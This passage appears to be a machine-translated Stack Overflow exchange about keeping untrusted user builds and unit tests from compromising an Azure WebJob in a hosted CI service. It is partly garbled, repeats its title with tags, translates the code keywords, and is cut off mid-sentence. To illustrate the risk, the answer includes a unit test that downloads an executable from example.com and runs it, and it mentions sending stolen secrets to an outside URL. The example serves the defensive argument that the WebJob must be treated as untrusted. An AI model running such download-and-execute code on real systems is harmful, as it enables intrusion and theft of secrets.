Security 如何确保azure webjob代码执行的安全?
我正在构建一个允许用户执行msbuild脚本和可执行文件(nunit、nuget、vs test等)的产品。它是一个托管的持续集成服务。这些任务在azure webjob的上下文中运行。如何防止用户运行恶意代码Security 如何确保azure webjob代码执行的安全?,security,azure,msbuild,azure-webjobs,Security,Azure,Msbuild,Azure Webjobs,我正在构建一个允许用户执行msbuild脚本和可执行文件(nunit、nuget、vs test等)的产品。它是一个托管的持续集成服务。这些任务在azure webjob的上下文中运行。如何防止用户运行恶意代码 我们不允许用户直接运行可执行文件,但他们可以从单元测试或msbuild脚本中运行任何需要的内容。我能做些什么来防止他们伤害我的网络工作或运行“坏”的前男友吗?我不确定你在这个问题上考虑的范围是什么。但我不认为有一种简单的方法可以做到这一点,这是特定于WebJobs的。它必须是你在设计系统
我们不允许用户直接运行可执行文件,但他们可以从单元测试或msbuild脚本中运行任何需要的内容。我能做些什么来防止他们伤害我的网络工作或运行“坏”的前男友吗?我不确定你在这个问题上考虑的范围是什么。但我不认为有一种简单的方法可以做到这一点,这是特定于WebJobs的。它必须是你在设计系统时要注意的东西 我们不允许用户直接运行可执行文件 事实并非如此。如果您正在运行用户代码,则不能再假定这一点。没有什么能阻止我写这样的单元测试,对吧
[测试]
公共静态RunRandomExe()
{
var webClient=新的webClient();
webClient.DownloadFile(“http://example.com/random.exe“,@”%temp%\random.exe“;
Process.Start(@“%temp%\random.exe”);
}
如果你在appsettings或env vars中有秘密,那么没有什么可以阻止单元测试读取它们并将它们发送到随机URL
您所能做的最好的事情就是以一种假设WebJob完全不可信的方式来设计您的系统。您必须假设您在应用程序设置、环境变量、文件系统等中输入的任何机密都可以被WebJob访问。WebJob留下的任何工件都可供后续运行访问,并且WebJob对机器所做的更改将影响后续WebJob等。见鬼,单元测试可以在机器上创建另一个WebJob,该机器可以运行并完全监视/接管您的站点
然而,好消息是Azure Web应用程序保证了独立的Web应用程序彼此完全隔离,并在非常紧密的沙盒环境中运行,即使它们运行在相同的物理VM上(即:在相同的应用程序服务计划中)
因此,如果你: